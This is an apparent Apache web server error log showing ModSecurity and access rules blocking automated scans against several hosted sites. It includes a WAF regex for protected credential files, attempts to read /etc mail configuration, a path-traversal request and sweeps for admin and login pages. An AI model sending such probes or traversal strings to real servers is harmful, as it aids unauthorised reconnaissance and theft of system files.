https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:12:33.794465 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:12:33.915249 2026] [security2:error] [pid 531155:tid 531235] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/exim4/update-exim4.conf.conf"] [unique_id "ai3x8SmiP80klyS0NnoESwABK08"] [Sat Jun 13 18:12:34.015932 2026] [security2:error] [pid 531797:tid 531989] [remote 17.241.75.26:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x8cTA7b1mZrmcA-83CwACNHw"] [Sat Jun 13 18:12:34.050674 2026] [security2:error] [pid 531155:tid 531201] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/postfix/main.cf"] [unique_id "ai3x8imiP80klyS0NnoETwABgi0"] [Sat Jun 13 18:12:34.290490 2026] [security2:error] [pid 531797:tid 531982] [remote 57.141.14.98:35230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3x8sTA7b1mZrmcA-83FwACbXU"], referer: https://nelsonfarmstn.com/product/tuscan-sun/?add_to_wishlist=837&_wpnonce=dacad5c21f&add-to-cart=398 [Sat Jun 13 18:12:34.298090 2026] [access_compat:error] [pid 531155:tid 531181] [remote 57.141.14.24:32574] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:34.298452 2026] [access_compat:error] [pid 531155:tid 531181] [remote 57.141.14.24:32574] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:34.339990 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9MTlhDUFU6MDg= [Sat Jun 13 18:12:34.340438 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9MTlhDUFU6MDg= [Sat Jun 13 18:12:34.408029 2026] [security2:error] [pid 531797:tid 532008] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/sprintf_variation12.phpt"] [unique_id "ai3x8sTA7b1mZrmcA-83GwAAAiA"] [Sat Jun 13 18:12:34.449502 2026] [security2:error] [pid 531797:tid 531965] [remote 17.241.219.121:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x8sTA7b1mZrmcA-83HQACZmU"] [Sat Jun 13 18:12:34.456466 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.32:57571] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:34.456941 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.32:57571] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:34.468569 2026] [security2:error] [pid 531797:tid 532066] [client 103.153.183.69:12350] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/"] [unique_id "ai3x8sTA7b1mZrmcA-83IAAAAlg"] [Sat Jun 13 18:12:34.613975 2026] [security2:error] [pid 531797:tid 531891] [remote 57.141.14.99:56290] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3x8sTA7b1mZrmcA-83JwAChxs"], referer: https://nelsonfarmstn.com/product-category/specials/?add_to_wishlist=3820&_wpnonce=8d149de2a5&add-to-cart=402 [Sat Jun 13 18:12:34.614428 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.29:56927] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:34.614749 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.29:56927] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:34.832562 2026] [access_compat:error] [pid 531155:tid 531248] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9wb3dlcg== [Sat Jun 13 18:12:34.832859 2026] [access_compat:error] [pid 531155:tid 531248] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9wb3dlcg== [Sat Jun 13 18:12:34.946680 2026] [access_compat:error] [pid 531797:tid 531976] [remote 57.141.14.67:29829] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:34.947113 2026] [access_compat:error] [pid 531797:tid 531976] [remote 57.141.14.67:29829] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:35.027685 2026] [security2:error] [pid 531797:tid 532000] [client 103.153.183.69:12430] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/api/v1/totp/user-backup-code/../../system/system-information"] [unique_id "ai3x88TA7b1mZrmcA-83QAAAAhg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.027839 2026] [security2:error] [pid 531797:tid 532002] [client 103.153.183.69:12354] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/api/index.php/v1/"] [unique_id "ai3x88TA7b1mZrmcA-83PwAAAho"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.029315 2026] [security2:error] [pid 531155:tid 531336] [client 103.153.183.69:12360] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/user/login"] [unique_id "ai3x8ymiP80klyS0NnoEZQAAAT0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.032079 2026] [security2:error] [pid 531797:tid 532099] [client 103.153.183.69:12404] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/_next/static/"] [unique_id "ai3x88TA7b1mZrmcA-83QgAAAng"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.039551 2026] [security2:error] [pid 531155:tid 531355] [client 103.153.183.69:12504] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/index.php"] [unique_id "ai3x8ymiP80klyS0NnoEaAAAAVA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.041359 2026] [security2:error] [pid 531797:tid 532025] [client 103.153.183.69:12472] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/"] [unique_id "ai3x88TA7b1mZrmcA-83SQAAAjE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.042419 2026] [security2:error] [pid 531155:tid 531296] [client 103.153.183.69:12830] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/api/v1/flows"] [unique_id "ai3x8ymiP80klyS0NnoEcgAAARU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.044904 2026] [security2:error] [pid 531797:tid 532019] [client 103.153.183.69:12602] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/cpanel"] [unique_id "ai3x88TA7b1mZrmcA-83TgAAAis"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.045904 2026] [security2:error] [pid 531797:tid 532100] [client 103.153.183.69:12546] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/"] [unique_id "ai3x88TA7b1mZrmcA-83UwAAAnk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.046139 2026] [security2:error] [pid 531797:tid 532029] [client 103.153.183.69:12728] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/php/login.php"] [unique_id "ai3x88TA7b1mZrmcA-83VAAAAjQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.046844 2026] [security2:error] [pid 531797:tid 532053] [client 103.153.183.69:12738] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/api/status"] [unique_id "ai3x88TA7b1mZrmcA-83VgAAAks"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.048554 2026] [security2:error] [pid 531797:tid 532121] [client 103.153.183.69:12664] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/graphql"] [unique_id "ai3x88TA7b1mZrmcA-83WgAAAo0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.049550 2026] [security2:error] [pid 531797:tid 532045] [client 103.153.183.69:12724] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/api/tags"] [unique_id "ai3x88TA7b1mZrmcA-83XAAAAkQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.050627 2026] [security2:error] [pid 531797:tid 532016] [client 103.153.183.69:12732] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/api/health"] [unique_id "ai3x88TA7b1mZrmcA-83XwAAAig"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.072767 2026] [access_compat:error] [pid 531797:tid 532031] [client 103.153.183.69:12552] AH01797: client denied by server configuration: /home2/xboxegco/public_html/server-status, referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.115553 2026] [lsapi:error] [pid 531797:tid 532001] [client 103.153.183.69:12648] [host smartagrico.com] Connect to backend rejected on sending request(GET /cli HTTP/1.1); uri(/index.php), referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.115686 2026] [lsapi:error] [pid 531155:tid 531324] [client 103.153.183.69:12808] [host smartagrico.com] Connect to backend rejected on sending request(GET /webtools/control/main HTTP/1.1); uri(/index.php), referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.115890 2026] [lsapi:error] [pid 531797:tid 532022] [client 103.153.183.69:12494] [host smartagrico.com] Connect to backend rejected on sending request(GET /v1/agent/self HTTP/1.1); uri(/index.php), referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.115981 2026] [lsapi:error] [pid 531797:tid 532063] [client 103.153.183.69:12774] [host smartagrico.com] Connect to backend rejected on sending request(GET /login HTTP/1.1); uri(/index.php), referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.116166 2026] [lsapi:error] [pid 531797:tid 532116] [client 103.153.183.69:12636] [host smartagrico.com] Connect to backend rejected on sending request(GET /rest/default/V1/store/storeViews HTTP/1.1); uri(/index.php), referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.116285 2026] [lsapi:error] [pid 531797:tid 532093] [client 103.153.183.69:12762] [host smartagrico.com] Connect to backend rejected on sending request(GET /tmui/login.jsp HTTP/1.1); uri(/index.php), referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.116304 2026] [lsapi:error] [pid 531797:tid 532015] [client 103.153.183.69:12766] [host smartagrico.com] Connect to backend rejected on sending request(GET /modules/ps_emailsubscription/ HTTP/1.1); uri(/index.php), referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.116577 2026] [lsapi:error] [pid 531797:tid 532109] [client 103.153.183.69:12454] [host smartagrico.com] Connect to backend rejected on sending request(GET / HTTP/1.1); uri(/), referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.117687 2026] [lsapi:error] [pid 531797:tid 532023] [client 103.153.183.69:12362] [host smartagrico.com] Connect to backend rejected on sending request(GET /administrator/ HTTP/1.1); uri(/index.php), referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.117712 2026] [lsapi:error] [pid 531797:tid 532056] [client 103.153.183.69:12708] [host smartagrico.com] Connect to backend rejected on sending request(GET /cacti/ HTTP/1.1); uri(/index.php), referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.120305 2026] [lsapi:error] [pid 531797:tid 532122] [client 103.153.183.69:12408] [host smartagrico.com] Connect to backend rejected on sending request(GET /livewire/update HTTP/1.1); uri(/index.php), referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.120580 2026] [lsapi:error] [pid 531797:tid 532127] [client 103.153.183.69:12586] [host smartagrico.com] Connect to backend rejected on sending request(GET /accounting/control/main HTTP/1.1); uri(/index.php), referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.121550 2026] [lsapi:error] [pid 531797:tid 532109] [client 103.153.183.69:12454] [host smartagrico.com] Connect to backend rejected on sending request(GET / HTTP/1.1); uri(/index.php), referer: https://smartagrico.com/ [Sat Jun 13 18:12:35.198454 2026] [security2:error] [pid 531155:tid 531316] [client 103.153.183.69:12764] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/wp-login.php"] [unique_id "ai3x8ymiP80klyS0NnoEdwAAASk"], referer: https://smartagrico.com/login [Sat Jun 13 18:12:35.210288 2026] [security2:error] [pid 531155:tid 531393] [client 103.153.183.69:12588] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/wp-login.php"] [unique_id "ai3x8ymiP80klyS0NnoEeAAAAXY"], referer: https://smartagrico.com/login [Sat Jun 13 18:12:35.234244 2026] [security2:error] [pid 531797:tid 531927] [remote 17.22.253.254:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 254.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x88TA7b1mZrmcA-83ZwACFj8"] [Sat Jun 13 18:12:35.286352 2026] [security2:error] [pid 531797:tid 532112] [client 103.153.183.69:12438] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/wp-login.php"] [unique_id "ai3x88TA7b1mZrmcA-83awAAAoU"], referer: https://smartagrico.com/login/ [Sat Jun 13 18:12:35.297987 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.108:57729] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:35.298419 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.108:57729] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:35.373302 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:12:35.373769 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:12:35.462220 2026] [access_compat:error] [pid 531155:tid 531180] [remote 185.177.72.9:45824] AH01797: client denied by server configuration: /home3/bradgore/public_html/server-status [Sat Jun 13 18:12:35.601103 2026] [security2:error] [pid 531155:tid 531233] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Match of "ipMatch 127.0.0.1,::1" against "REMOTE_ADDR" required. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "724"] [id "340114"] [rev "2"] [msg "Atomicorp.com WAF Rules: Apache admin service access attempt"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/server-info"] [unique_id "ai3x8ymiP80klyS0NnoEgwABKE0"] [Sat Jun 13 18:12:35.742563 2026] 